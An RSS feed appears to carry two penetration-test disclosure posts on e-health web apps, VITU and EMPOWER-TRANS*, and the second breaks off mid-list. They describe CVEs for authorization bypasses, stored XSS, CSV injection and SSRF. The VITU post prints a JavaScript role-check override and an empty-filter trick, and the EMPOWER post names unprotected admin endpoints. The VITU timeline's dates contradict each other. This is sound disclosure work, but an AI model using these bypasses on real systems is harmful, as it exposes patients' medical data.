<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>cyber.wtf</title>
    <description></description>
    <link>https://cyber.wtf/</link>
    <atom:link href="https://cyber.wtf/feed.xml" rel="self" type="application/rss+xml" />
    <pubDate>Mon, 24 Aug 2026 12:08:00 +0000</pubDate>
    <lastBuildDate>Mon, 24 Aug 2026 12:08:00 +0000</lastBuildDate>
    <generator>Jekyll v4.4.1</generator>
    
      <item>
        <title>E-Health Issues (3/3) - Severe Vulnerabilities in VITU</title>
        <description>&lt;p&gt;During the last year (2025), we conducted a variety of penetration tests on E-Health applications. Shockingly, they all had severe vulnerabilities. This is particularly concerning given the highly sensitive information stored and processed by these applications. This is the final entry in a series of three blog posts in which we will disclose some of the vulnerabilities we identified.&lt;/p&gt;

&lt;h2 id=&quot;intro&quot;&gt;Intro&lt;/h2&gt;
&lt;p&gt;One of our clients wanted to begin using the web application &lt;a href=&quot;https://molit-service.de/vitu/&quot;&gt;VITU (Virtuelles Tumorboard)&lt;/a&gt; – a process-oriented information and communication platform for the health sector – in production. However, they wanted to assess its security before doing so. Hence, we conducted a web application penetration test. The results revealed multiple severe vulnerabilities, such as almost no authorization checks and multiple instances of stored cross-site scripting.&lt;/p&gt;

&lt;p&gt;Fortunately, the vendor, MOLIT Service GmbH, responded quickly and professionally. The vulnerabilities were fixed shortly after they were disclosed.&lt;/p&gt;

&lt;h2 id=&quot;overview-of-the-cves&quot;&gt;Overview of the CVEs&lt;/h2&gt;
&lt;p&gt;A total of 7 CVEs were assigned to the most severe vulnerabilities identified. The affected versions are “v2.2.0-beta.9” and earlier.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;CVE Number&lt;/th&gt;
      &lt;th&gt;Name&lt;/th&gt;
      &lt;th&gt;Severity&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-69867&quot;&gt;CVE-2025-69867&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Broken Function Level Authorization&lt;/td&gt;
      &lt;td&gt;Critical&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-36979&quot;&gt;CVE-2026-36979&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Broken Object Level Authorization&lt;/td&gt;
      &lt;td&gt;High&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-69866&quot;&gt;CVE-2025-69866&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Stored Cross-Site Scripting&lt;/td&gt;
      &lt;td&gt;High&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-69865&quot;&gt;CVE-2025-69865&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Arbitrary File Upload&lt;/td&gt;
      &lt;td&gt;Medium&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-69868&quot;&gt;CVE-2025-69868&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;CSV Injection&lt;/td&gt;
      &lt;td&gt;Medium&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-36977&quot;&gt;CVE-2026-36977&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Username Spoofing&lt;/td&gt;
      &lt;td&gt;Medium&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-36978&quot;&gt;CVE-2026-36978&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Server-Side Request Forgery&lt;/td&gt;
      &lt;td&gt;Low&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;remediation&quot;&gt;Remediation&lt;/h2&gt;

&lt;p&gt;It is recommended to update VITU to the latest version.
All vulnerabilities have been fixed in version v2.2.0-beta.10.&lt;/p&gt;

&lt;h2 id=&quot;cves-in-detail&quot;&gt;CVEs in Detail&lt;/h2&gt;

&lt;h3 id=&quot;broken-function-level-authorization&quot;&gt;Broken Function Level Authorization&lt;/h3&gt;
&lt;p&gt;This was the most severe vulnerability. All authorization checks but two were done only client-side. Hence, by doing minor JavaScript changes or by using a HTTP proxy to modify the requests, it was possible to see or modify any data. Well, not any data, because the access to the user and group settings in the admin area was also validated on the server side. But besides that, any functionality could be accessed and used: Organizations, Settings, Super Settings, Evaluation, Audit Log, Authentication Log in the Admin area as well as all Patients, Cases and Conferences. This meant that all the sensible data could be accessed by any authenticated user and the access to the administrative settings could be used to exploit further vulnerabilities, such as stored XSS affecting the whole web application.&lt;/p&gt;

&lt;p&gt;In order to trick the frontend and to see the web application like an administrator would, we had to modify two JavaScript functions and one return. There were two functions that checked the role of a user: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hasRealmRole&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hasResourceRole&lt;/code&gt;. Both were modified to always return true: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;e.hasRealmRole=function(k){return true;},e.hasResourceRole=function(k,$){return true;},&lt;/code&gt;. Furthermore, there was another role check (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;return e.meta.roles != null &amp;amp;&amp;amp; !s.value.realmAccess.roles.filter(c =&amp;gt; e.meta.roles.includes(c)).length || e.meta.modules != null&amp;amp;&amp;amp;Object.keys(a.value.modules).filter(c =&amp;gt; a.value.modules[c]).filter(c =&amp;gt; e.meta.modules.includes(c)).length &amp;lt; e.meta.module&lt;/code&gt;) which was replaced with a simple &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;return false&lt;/code&gt;. These changes tricked the frontend into thinking that the user has all roles, including &lt;em&gt;Administrator&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Figure 1 shows that the user gdata3 has all roles and is able to view the audit log in the admin area. In fact, the user only had the low privilege role “Participant” and escalated their privileges by bypassing the client-side checks.&lt;/p&gt;

&lt;figure id=&quot;vitu-bfla&quot; class=&quot;figure-posts&quot; style=&quot;width: 100%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/08/vitu1.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2026/08/vitu1.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/08/vitu1.png&quot; alt=&quot;bola&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/08/vitu1.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/08/vitu1.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/08/vitu1.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 01: Privilege escalation by bypassing client-side checks.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h3 id=&quot;broken-object-level-authorization&quot;&gt;Broken Object Level Authorization&lt;/h3&gt;
&lt;p&gt;After reporting the BOLA vulnerability, the vendor implemented server-side authorization checks. However, during the retest it was discovered that users are able to access data from other organizations, even if they should not be able to. The API calls issued by the web applications contained filters for the organizations a user belongs to. These filters could simply be removed in order to access data from all organizations.&lt;/p&gt;

&lt;p&gt;Figure 2 shows one of the API calls containing an organization filter issued by the web application. The endpoint returns two patients.&lt;/p&gt;

&lt;figure id=&quot;vitu-bola1&quot; class=&quot;figure-posts&quot; style=&quot;width: 100%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/08/vitu2.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2026/08/vitu2.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/08/vitu2.png&quot; alt=&quot;bfla&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/08/vitu2.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/08/vitu2.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/08/vitu2.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 02: Requesting all patients from the organization G DATA.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;An error was thrown, if the parameter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;organization.name&lt;/code&gt; was removed. However, when it was set to an empty value, all patients were returned. Figure 3 shows that all three patients of the test instance were returned.&lt;/p&gt;

&lt;figure id=&quot;vitu-bola2&quot; class=&quot;figure-posts&quot; style=&quot;width: 100%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/08/vitu3.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2026/08/vitu3.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/08/vitu3.png&quot; alt=&quot;bfla2&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/08/vitu3.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/08/vitu3.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/08/vitu3.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 03: Receiving all patients due to the removed organization filter.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;This affected all &lt;em&gt;Patient&lt;/em&gt; and &lt;em&gt;Case&lt;/em&gt; functionalities.&lt;/p&gt;

&lt;h3 id=&quot;stored-cross-site-scripting&quot;&gt;Stored Cross-Site Scripting&lt;/h3&gt;
&lt;p&gt;There were multiple stored XSS vectors.&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;JavaScript Protocol: URLs, which can be e.g. configured in the settings, could use the JavaScript protocol. If a user clicks on one of these URLs, the JavaScript will get executed&lt;/li&gt;
  &lt;li&gt;SVG Files: See Arbitrary File Upload&lt;/li&gt;
  &lt;li&gt;Matomo: In the administrative settings a Matomo JavaScript file can be specified. This JavaScript file is then included in &lt;em&gt;every&lt;/em&gt; response. Due to the BFLA vulnerability, any user could specify a matomo URL pointing to an attacker controlled JavaScript file which gets served to any user visiting the web application. Figure 4 shows the script tag with the matomo URL that is being embedded on every page.&lt;/li&gt;
&lt;/ol&gt;

&lt;figure id=&quot;vitu-xss&quot; class=&quot;figure-posts&quot; style=&quot;width: 100%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/08/vitu4.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2026/08/vitu4.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/08/vitu4.png&quot; alt=&quot;xss&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/08/vitu4.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/08/vitu4.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/08/vitu4.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 04: XSS on every page due to the matomo script URL.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h3 id=&quot;arbitrary-file-upload&quot;&gt;Arbitrary File Upload&lt;/h3&gt;
&lt;p&gt;No file upload restrictions were enforced. Hence, it was possible to upload any file (.exe, .zip, .svg, … you name it) to cases. Combined with Username Spoofing and BOLA/BFLA, any authenticated user could have uploaded malicious files to any case and spoof themself as another user. Figure 5 shows that it was possible to e.g. upload an exe because there were no restrictions in place.&lt;/p&gt;

&lt;figure id=&quot;vitu-exe&quot; class=&quot;figure-posts&quot; style=&quot;width: 100%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/08/vitu5.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2026/08/vitu5.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/08/vitu5.png&quot; alt=&quot;exe&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/08/vitu5.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/08/vitu5.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/08/vitu5.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 05: A successfully uploaded exe.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h3 id=&quot;csv-injection&quot;&gt;CSV Injection&lt;/h3&gt;
&lt;p&gt;Admins can download CSV files containing statistics about held conferences. User controlled values, such as the name of the conference, were embedded directly into the CSV file. This could be abused to achieve Command Execution (Excel) or Data Exfiltration (Google Sheets). Figure 6 shows a payload that leads to the execution of the calculator on Windows systems, if the CSV file is opened with Excel.&lt;/p&gt;

&lt;figure id=&quot;vitu-csv&quot; class=&quot;figure-posts&quot; style=&quot;width: 100%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/08/vitu6.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2026/08/vitu6.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/08/vitu6.png&quot; alt=&quot;csv&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/08/vitu6.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/08/vitu6.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/08/vitu6.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 06: CSV injection in the conference name.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h3 id=&quot;username-spoofing&quot;&gt;Username Spoofing&lt;/h3&gt;
&lt;p&gt;It’s possible to upload files in certain functionalities as well as to post comments to cases. However, it was possible to spoof usernames and let VITU show arbitrary usernames for the comments/uploaded files. This was because the username to be shown was not taken from the session, but specified via a parameter that could be modified.&lt;/p&gt;

&lt;figure id=&quot;vitu-spoof1&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/08/vitu7.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2026/08/vitu7.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/08/vitu7.png&quot; alt=&quot;spoof1&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/08/vitu7.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/08/vitu7.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/08/vitu7.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 07: Spoofing the username of a comment.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;figure id=&quot;vitu-spoof2&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/08/vitu8.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2026/08/vitu8.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/08/vitu8.png&quot; alt=&quot;spoof2&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/08/vitu8.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/08/vitu8.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/08/vitu8.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 08: Comment with a spoofed username.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h3 id=&quot;server-side-request-forgery&quot;&gt;Server-Side Request Forgery&lt;/h3&gt;
&lt;p&gt;When downloading a file from VITU, the API endpoint &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET /video-backend/api/vitu/fhir/fetchBinary?binaryURL=foo&lt;/code&gt; was used and foo was the URL of the file to be downloaded. This screams SSRF and indeed SSRF was possible. However, there were already checks in place that limit the allowed URLs to the web application’s host, hence the risk was lowered to low.&lt;/p&gt;

&lt;figure id=&quot;vitu-ssrf&quot; class=&quot;figure-posts&quot; style=&quot;width: 100%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/08/vitu9.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2026/08/vitu9.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/08/vitu9.png&quot; alt=&quot;ssrf&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/08/vitu9.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/08/vitu9.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/08/vitu9.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 09: Server-Side Request Forgery.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h2 id=&quot;timeline&quot;&gt;Timeline&lt;/h2&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-11-24&lt;/td&gt;
      &lt;td&gt;Start of the 5-day penetration test&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-12-03&lt;/td&gt;
      &lt;td&gt;Reported vulnerabilities to the vendor&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-01-27&lt;/td&gt;
      &lt;td&gt;Conducted a retest - all vulnerability were fixed, however 3 new ones were identified&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-01-30&lt;/td&gt;
      &lt;td&gt;Verified that 2 of the 3 new-found vulnerabilities have been fixed&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-03-11&lt;/td&gt;
      &lt;td&gt;Verified that the last vulnerability has been fixed&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
</description>
        <pubDate>Mon, 24 Aug 2026 12:00:00 +0000</pubDate>
        <link>https://cyber.wtf/2026/08/24/ehealth-vitu-cves/</link>
        <guid isPermaLink="true">https://cyber.wtf/2026/08/24/ehealth-vitu-cves/</guid>
        
        <category>cves</category>
        
        <category>web</category>
        
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>E-Health Issues (2/3) - Severe Vulnerabilities in EMPOWER-TRANS*</title>
        <description>&lt;p&gt;This is the second post in our E-Health series (check out &lt;a href=&quot;/2026/04/17/ehealth-simplifyu-cves/&quot;&gt;part one on SimplifyU&lt;/a&gt; if you missed it). Turns out 2025/2026 has been rough for security in the health sector and this next one didn’t disappoint either.&lt;/p&gt;

&lt;h2 id=&quot;intro&quot;&gt;Intro&lt;/h2&gt;
&lt;p&gt;EMPOWER-TRANS* is a digital information and training platform funded through Germany’s Innovationsfonds (to the tune of €4.9 million), aimed at transgender people and people with gender dysphoria who need support along the way - a group for which privacy and the sensitivity of processed data matter enormously. Before the application went live, the vendor commissioned us to perform a web application penetration test, which was a genuinely good call as it turned out.&lt;/p&gt;

&lt;p&gt;We ran a greybox pentest (5 person-days) against a dedicated test environment that was populated with test data only. We were provided with accounts across all four roles the application defines: User, Dispatcher, Specialist, and Admin.&lt;/p&gt;

&lt;p&gt;What we found was, once again, not great: a full chain from normal user privileges to complete administrative takeover, a two-factor authentication that only authenticates one factor, and persistent Cross-Site Scripting (XSS). The vendor was fast and professional throughout the mitigation process and every finding was confirmed and fixed in version 1.1, as the retest showed.&lt;/p&gt;

&lt;h2 id=&quot;overview-of-the-cves&quot;&gt;Overview of the CVEs&lt;/h2&gt;
&lt;p&gt;A total of 5 CVEs were assigned to the vulnerabilities identified. All affected version 1.0 of the application; all were fixed in version 1.1.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;CVE Number&lt;/th&gt;
      &lt;th&gt;Name&lt;/th&gt;
      &lt;th&gt;Severity&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-37084&quot;&gt;CVE-2026-37084&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Broken Function Level Authorization&lt;/td&gt;
      &lt;td&gt;Critical&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-37083&quot;&gt;CVE-2026-37083&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Persistent Cross-Site Scripting&lt;/td&gt;
      &lt;td&gt;High&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-37082&quot;&gt;CVE-2026-37082&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Missing Authentication on Critical API Endpoints&lt;/td&gt;
      &lt;td&gt;High&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-37080&quot;&gt;CVE-2026-37080&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Two-Factor Authentication Bypass&lt;/td&gt;
      &lt;td&gt;High&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-37081&quot;&gt;CVE-2026-37081&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Username Enumeration&lt;/td&gt;
      &lt;td&gt;Medium&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;remediation&quot;&gt;Remediation&lt;/h2&gt;
&lt;p&gt;All vulnerabilities described below have been fixed in version 1.1 of the application.&lt;/p&gt;

&lt;h2 id=&quot;cves-in-detail&quot;&gt;CVEs in Detail&lt;/h2&gt;

&lt;h3 id=&quot;broken-function-level-authorization-cve-2026-37084&quot;&gt;Broken Function Level Authorization (CVE-2026-37084)&lt;/h3&gt;
&lt;p&gt;The application is a Single Page Application (SPA) that dynamically loads its entire routing logic and admin functionality from a single JavaScript bundle. There was no client-side route protection since admin routes such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/admin/role-management&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/admin/file-management&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/admin/archive&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/admin/activation-codes&lt;/code&gt; were simply… there, waiting to be navigated to by anyone who cared to look. For instance, it was possible to directly browse to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/admin/role-management&lt;/code&gt; with the user account that had the lowest privilege.&lt;/p&gt;

&lt;figure id=&quot;empower-trans-bfla-client&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/07/blfa2.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2026/07/blfa2.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/07/blfa2.png&quot; alt=&quot;admin routes reachable without client-side protection&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/07/blfa2.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/07/blfa2.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/07/blfa2.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 01: Direct access to administrative endpoints.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;From there, it was possible to assign permissions to specific user accounts. A logged-in user with the lowest privilege level could call this endpoint directly and simply assign themselves the Admin role. No further steps required.&lt;/p&gt;

&lt;figure id=&quot;empower-trans-bfla-client&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/07/bfla3.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2026/07/bfla3.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/07/bfla3.png&quot; alt=&quot;admin routes reachable without client-side protection&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/07/bfla3.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/07/bfla3.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/07/bfla3.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 02: Assigning the admin user role.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;figure id=&quot;empower-trans-bfla-server&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/07/bfla4_blog.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2026/07/bfla4_blog.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/07/bfla4_blog.png&quot; alt=&quot;self-assigning the admin role via the API&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/07/bfla4_blog.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/07/bfla4_blog.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/07/bfla4_blog.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 03: Escalation to Admin via an unprotected call to the corresponding endpoint /api/admin/reassing-user-role.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;This grants full access to every administrative function and, more importantly, access to any (pseudonymized) medical questionnaires and personal information of every patient and user of the app.&lt;/p&gt;

&lt;figure id=&quot;empower-trans-bfla-server&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/07/bfla5.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2026/07/bfla5.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/07/bfla5.png&quot; alt=&quot;self-assigning the admin role via the API&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/07/bfla5.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/07/bfla5.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/07/bfla5.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 04: Complete access to all administrative functions.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;The following API endpoints had no server-side authorization checks, including:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/admin/reassing-user-role&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/admin/get-user-groups-counts&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/admin/get-first-batch-of-users&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/admin/get-activation-codes&lt;/code&gt;&lt;/li&gt;
